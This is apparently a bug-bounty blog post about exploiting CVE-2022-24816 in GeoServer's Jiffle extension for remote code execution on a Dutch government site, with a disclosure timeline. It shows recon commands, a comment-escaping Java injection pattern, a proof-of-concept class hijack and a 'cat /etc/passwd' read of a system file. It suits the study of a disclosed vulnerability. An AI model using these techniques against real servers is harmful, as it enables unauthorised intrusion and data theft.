How I Hacked the Dutch Government: Exploiting an Innocent Image for Remote Code Execution

Pwning the Dutch Government with RCE

Mukund Bhuva
5 min readFeb 12, 2024

Motivation:

At a security conference, I spotted a guy sporting a t-shirt with the words “I hacked the Dutch government and all I got was this lousy t-shirt.” Intrigued, I approached him to ask how he got it. I was determined to get my hands on that cool swag.

Photo by Adrien on Unsplash

Scope:

I began my search for opportunities and stumbled upon a list of eligible websites for bug hunting at https://gist.github.com/R0X4R/81e6c50c091a20b060afe5c259b58cfa. This list became my starting point.

Target:

I utilized httpx to assess the live status, technology stack, HTTP status codes, and titles of each website listed. This allowed me to gain valuable insights into the infrastructure.

cat scope.txt | sort -u | ~/go/bin/httpx -sc -title -tech-detect

As I was examining the functionality of websites that returned a 200 OK response, I noticed one site utilizing GeoServer services.
I attempted to use Nuclei for scanning. However, no vulnerabilities were detected using Nuclei.

Finding:

I discovered that the service allowed me to access its functionality without requiring authentication. I fired up Burp Suite and began interacting with the application, probing for vulnerabilities and potential points of exploitation within the system.

So, I did some research on GeoServer. It’s basically an open-source server used for sharing geospatial data. It supports standard protocols like WFS, WMS, and WCS. Additionally, it comes with the JAI-EXT API, which is enabled by default and offers high-level objects for image processing.

The JAI-EXT project contains a map algebra language called Jiffle. Jiffle is a simple scripting language to work with raster images. Its main aim is to let you get more done with less code.

After delving deeper, an exploit for the JT-JIFFLE extension, identified as CVE-2022–24816, was discovered on April 13, 2022.

Exploitation:

The vulnerability lies in the JAI-EXT library’s handling of Jiffle scripts, a map algebra language. Jiffle scripts are meant to be compiled and executed securely within a controlled environment. However, due to improper validation, malicious Jiffle code embedded in an image or other data could be injected and executed on the vulnerable system. This malicious code could then take advantage of the Janino Java compiler used by JAI-EXT, ultimately leading to remote code execution (RCE) with full system privileges.

This explanation stays simple while highlighting the core issue: improper code injection leading to RCE via Jiffle scripts and the Janino compiler.

https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb

By looking at the patch [JAI-EXT-PATCH], one can quickly identify that Javadoc comment escaping has been added to the it.geosolutions.jaiext.jiffle.parser.node.Script write method. As we've seen above, this method is used by Jiffle to convert the scriptModel to Java source code.

One approach is to begin by crafting a suitable WPS XML request using the WPS builder demo webpage:

This payload results in a verbose javax.media.jai.util.ImagingException:

HTTP/1.1 200
[...]

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution
javax.media.jai.util.ImagingException: All factories fail for the operation &amp;quot;Jiffle&amp;quot;
All factories fail for the operation &amp;quot;Jiffle&amp;quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;

import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;

/**
* Java runtime class generated from the following Jiffle script:
*&amp;lt;code&amp;gt;
* dest = 1; */
*&amp;lt;/code&amp;gt;
*/
public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {
[...]
}

Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
[...]

Line 11, Column 3: One of &amp;apos;class enum interface @&amp;apos; expected instead of &amp;apos;*&amp;apos;

The Janino compiler encounters failure in converting the source code to byte-code when it encounters an uncommented line starting with a * instead of expected keywords like class, enum, or interface.

To inject Java code into the file, we must also rectify the remaining comments by including the string /*. Our payloads will take the following form:

<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>

Java code generated by Jiffle, it was possible to override the Double class that is used when initializing the result variable at the end of the program.

double result = Double.NaN;

When accessing the static attribute NaN of our manipulated Double class, it initiates the execution of the static block of code. The manipulated Double class, utilized as a Proof-of-Concept, is outlined below:

public class Double {
public static double NaN;
static {
throw new RuntimeException(": We control the execution flow :)");
}
}

Executing a command becomes straightforward. We utilized the following Double class to initiate the execution of the “cat /etc/passwd” command:

cat /etc/passwd

Combining this with the initial payload to escape Java comments results in the following request:

The execution of the above request results in a java.lang.ExceptionInInitializerError exception which contains the output of the executed command:

/etc/passwd

I created a Nuclei template to detect this vulnerability, which you can find on this GitHub link: CVE-2022–24816.yaml.

Timeline:

Reported on December 22th, 2022

Confirmed on December 23th, 2022

Got Swags on March 24th, 2023

Thank you for taking the time to read my blog. If you found the content helpful or interesting, please consider giving it a clap! 👏 Your support is greatly appreciated.

--

--

Mukund Bhuva

Hello Hunters, I’m a Security Researcher aka ShellSpider